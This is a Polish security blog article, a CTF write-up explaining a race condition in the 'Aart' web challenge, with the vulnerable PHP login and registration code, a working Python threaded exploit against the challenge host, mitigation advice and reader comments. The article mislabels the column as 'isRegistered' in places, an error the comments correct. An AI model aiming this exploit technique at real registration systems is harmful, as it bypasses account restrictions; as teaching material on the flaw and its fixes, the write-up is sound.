Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Race Conditions w atakach na aplikacje webowe na przykładzie zadania 'Aart’ (Ghost In The Shellcode 2015 CTF)

02 lutego 2015, 18:05 | Teksty | komentarzy 5

Wstęp

Race condition  to termin, który oznacza dość specyficzną sytuację w programie komputerowym. W przypadku, gdy system dopuszcza wykonywanie wielu operacji równocześnie, ale powodzenie konkretnej operacji zależy od właściwej kolejności wykonania, może dojść do sytuacji, w której zakładana kolejność nie zostanie zachowana i spowoduje błąd lub nieprzewidziane rezultaty.

Klasycznym przykładem w aplikacjach webowych będzie sekwencja zapytań do bazy danych, w której wykonywane w określonym porządku zapytania korzystają z wyników zwracanych prze zapytania je poprzedzające. Może to być np. pobranie dowolnej wartości nowo utworzonego rekordu po operacji INSERT i użycie go jako warunek w zapytaniu UPDATE:

INSERT INTO users SET (name, email) VALUES ("user", "user@user.com")
UPDATE users_privs SET admin=1 WHERE userid = (SELECT id FROM users WHERE name="user")

Jeśli pierwsze z zapytań nie wykona się prawidłowo, bądź „spóźni” z wykonaniem przed drugim – kwerenda w warunku zapytania UPDATE nie zwróci prawidłowego 'userid’ (bo go tam po prostu nie znajdzie) i nie wykona się.

Ataki wykorzystujące „race condition” to zdecydowanie rzadziej występujący typ ataku na aplikacje webowe w porównaniu z klasycznymi atakami SQL Injection. W zakończonym niedawno turnieju CTF Ghost In The Shellcode 2015 pojawiło się zadanie z kategorii Web, które można było rozwiązać między innymi przy użyciu race condition (w sumie 'Aart’ rozwiązało poprawnie 60 zespołów na 323 biorące udział, więc jak na zadanie z kategorii Web nie było ono najprostsze. Wykorzystanie „race condition” było jednym z możliwych rozwiązań, z pozostaymi można zapoznać się pod jednym z podanych na końcu źródeł).

Podatny kod w aplikacji 'Aart’

Zadanie polegało na zdobyciu flagi ukrytej gdzieś w aplikacji. Autorzy dołączyli kod źródłowy, co umożliwiało analizę całej aplikacji w zasadzie linijka po linijce.

 

aart

1. Strona główna aplikacji Aart

Analiza ujawniła fragment kodu w pliku login.php, który „ukrywał” flagę:

if(isset($_POST['username'])){
 $username = mysqli_real_escape_string($conn, $_POST['username']);
 
 $sql = "SELECT * from users where username='$username';";
 $result = mysqli_query($conn, $sql);

$row = $result->fetch_assoc();
var_dump($_POST);
var_dump($row);

if($_POST['username'] === $row['username'] and $_POST['password'] === $row['password']){
 ?>
 <h1>Logged in as <?php echo($username);?></h1>
 <?php

$uid = $row['id'];
 $sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;";
 $result = mysqli_query($conn, $sql);
 $row = $result->fetch_assoc();
 if($row['isRestricted']){
 ?>
 <h2>This is a restricted account</h2><?php
 }else{
 ?>
 <h2><?php include('../key');?></h2>

Listing 1. Fragment pliku login.php aplikacji Aart

W momencie logowania aplikacja weryfikowała, czy istnieje użytkownik o podanej nazwie, jeśli tak – pobierane były z bazy jego dane. Następnie dokonywane było porównanie przesłanego z formularza hasła z tym, które zostało zapisane w bazie w rekordzie odpowiadającym danemu użytkownikowi. Wszystkie dane pobierane z formularza były odpowiednio filtrowane, co z góry skazywało na niepowodzenie wszelkie klasyczne próby ataków SQL Injection.

Plik z flagą był dołączany jedynie w przypadku, kiedy kolumna 'isRegistered’ miała wartość inną od TRUE.

Za ustawianie wartości 'isRegistered’ odpowiadały inne zapytania, wykonywane w momencie rejestracji w aplikacji Aart:

if(isset($_POST['username'])){
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);

$sql = "INSERT into users (username, password) values ('$username', '$password');";
mysqli_query($conn, $sql);

$sql = "INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);";
mysqli_query($conn, $sql);

Listing 2. Fragment pliku register.php odpowiedzialny za rejestrację użytkownika

Także i w tym miejscu wszystkie dane z formularza były odpowiednio filtrowane. Zauważmy jednak, że drugie z zapytań, ustawiające wartość w kolumnie 'isRegistered’, bazowało na wartości kolumny 'id’ z tabeli 'users’ odpowiadającej rekordowi znalezionemu na podstawie kolumny 'username’.

Przeanalizujmy prawidłowy przebieg procesu rejestracji:
– użytkownik wypełnia formularz na stronie i wysyła go do serwera
– serwer na podstawie przesłanych danych (nazwa użytkownika i hasło), wykonuje zapytanie INSERT do tabeli 'users’
– drugie zapytanie dokonuje wstawienia do tabeli 'privs’ rekordu, w którym 'isRegistered’ ustawiane jest na TRUE, a 'userid’ na wartość 'id’ z tabeli 'users’ dla podanej w formularzu nazwy użytkownika (zmienna $username). Założenie jest takie, że pojawi się tutaj 'id’ z wiersza dodanego wcześniej.

Pytanie brzmi: jaki będzie rezultat, gdy zapytania te wykonają się nie zachowując prawidłowej kolejności?
Oczywiście w tabeli 'privs’ pojawi się rekord, gdzie 'userid’ będzie pusty. W momencie logowania zapytanie:

$sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;";

zwróci pusty wiersz, co spowoduje, że następujący potem warunek nie zostanie spełniony i w rezultacie do wynikowego kodu dołączona zostanie treść pliku 'key’ (listing 1.)

Atak „Race condition”

Dokumentacja MySQL na temat szybkości wykonywania zapytań INSERT (http://dev.mysql.com/doc/refman/5.0/en/insert-speed.html) zawiera następującą informację:

’For a MyISAM table, you can use concurrent inserts to add rows at the same time that SELECT statements are running, if there are no deleted rows in middle of the data file.’

Oznacza to, że możemy dokonywać równoczesnych operacji SELECT oraz INSERT w tym samym czasie (jeśli baza korzysta z MyISAM). Operacja zapisu do tabeli 'privs’ wykonywana w skrypcie register.php może być zatem wykonywana równocześnie z operacją SELECT w skrypcie login.php.

Aby zatem opisywane wcześniej zapytanie o wartość 'isRegistered’ zwróciło nam wartość różną od TRUE, musimy doprowadzić do sytuacji, w której:

– jako pierwsze wykona się zapytanie INSERT do tabeli 'users’ w register.php
– jako drugie oraz trzecie (!!! – tu następuje sytuacja wyścigu, czyli nasz „race condition”) wykonają się oba zapytania SELECT z tabeli 'users’ oraz 'privs’ w skrypcie login.php, zanim
– …wykona się czwarte zapytanie, czyli INSERT do tabeli 'privs’ w skrypcie register.php, ustawiające 'isRegistered’ na TRUE
Atak musi zatem równocześnie wykonywać operacje rejestracji oraz logowanie się z taką samą nazwą użytkownika do momentu, gdy któreś z logowań „wyprzedzi” zapisanie 'isRegistered’. Jako przykładowe rozwiązanie poniżej znajduje się prosty exploit stworzony w Pythonie (który przy okazji jest przykładową ilustracją wykorzystania modułu threading – jak wspomniałem niedawno w artykule o CTF, jest to klasyczny przykład edukacyjnej wartości turniejów Capture The Flag ;-) )

#!/usr/bin/env python

import requests
import string
import re
import random
import threading


url_register = "http://aart.2015.ghostintheshellcode.com/register.php"
url_login = "http://aart.2015.ghostintheshellcode.com/login.php"

def register(data):
    requests.post(url_register, data=data)

def login(data):
    c = requests.post(url_login, data=data).content
    flag = re.findall(r"<h2>(.*)</h2>\s+<h2>", c, re.DOTALL)
    if len(flag) > 0 and not "restricted" in flag[0]:
        print "[*] flag: '" + flag[0] + "'"
    else:
        print "[x] fail"

while True:
    # Generate random username 
    username = ''.join(random.choice(string.ascii_letters) for _ in range(100))
    password = '123'
    
    # register and login
    data = { 'username' : username, 'password' : password }
    t1 = threading.Thread(target=register, args=(data,))
    t2 = threading.Thread(target=login, args=(data,))
    t1.start()
    t2.start()
    t1.join()
    t2.join()

źródło: https://github.com/kitctf/writeups/blob/master/gits2015/aart/aart_exploit3.py

Po uruchomieniu skryptu następuje proces opisany w punktach na początku tego podrozdziału, za każdym razem z wygenerowaną losowo nazwą użytkownika (z wykorzystaniem dwóch wątków równocześnie, po jednym dla operacji rejestracji i logowania).
Po każdym żądaniu wykonanym na adres login.php skrypt sprawdza, czy w wynikowym HTML zwróconym przez serwer znajduje się ciąg 'flag’. Pojawienie się flagi oznacza, że udało się spełnić założenia ataku i zakońćzył się on powodzeniem.

Przykładowy rezultat wykonania mógłby zatem wyglądać, jak poniżej:

[x] fail
[x] fail
[x] fail
[x] fail
[*] flag: 'this is a key'

 

Podsumowanie

By nie dopuścić do podobnych ataków, w prawdziwej aplikacji korzystającej z bazy danych MySQL, można skorzystać z mechanizmu blokowania tabel na czas wykonywania operacji (http://dev.mysql.com/doc/refman/5.0/en/lock-tables.html) czy użycia mechanizmu InnoDB i transakcji (http://dev.mysql.com/doc/refman/5.0/en/ansi-diff-transactions.html) – jeśli kogoś zainteresuje to zagadnienie od strony programistycznej polecam przejrzenie kilku wątków w serwisie stackoverflow.com poświęconym temu zagadnieniu np. http://stackoverflow.com/questions/264807/mysql-insert-race-condition

Z innymi rozwiązaniami zadania Aart (w tym z będącym inspiracją do napisania tego artykułu :) ) można zapoznać się na stronach
http://kitctf.de/writeups/gits2015/aart/ oraz
http://0x1337seichi.wordpress.com/2015/01/18/ghost-in-the-shellcode-2015-web-200-aart-writeup/

Źródła:

http://dev.mysql.com/doc/refman/5.0/en/myisam-storage-engine.html
http://dev.mysql.com/doc/refman/5.0/en/insert-speed.html

–bl4de

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Odpowiedz
  2. Fajny artykuł, race conditions często są traktowane po macoszemu.

    Jeśli ktoś ma ochotę pobawić się z race conditions i różnego rodzaju błędami związanymi z bitami suid, uprawnieniami użytkowników itp. polecam pobrać maszynę wirtualną Nebula: https://exploit-exercises.com/nebula/

    Odpowiedz
  3. kbkk

    To isRegistered czy isRestricted?

    Odpowiedz
    • bl4de

      Oczywiście 'isRestricted’, przepraszam za pomyłkę i dzięki za zwrócenie uwagi :)

      Odpowiedz
  4. darek

    Swego czasu race condition był na wechall, jedno z zadań rozwiązałem wykorzystując race condition właśnie (nie taki był zamysł autora). Jakie było moje zdziwienie, gdy zobaczyłem, że punkty za zadanie zostały dodane dwa razy :)

    Odpowiedz

Odpowiedz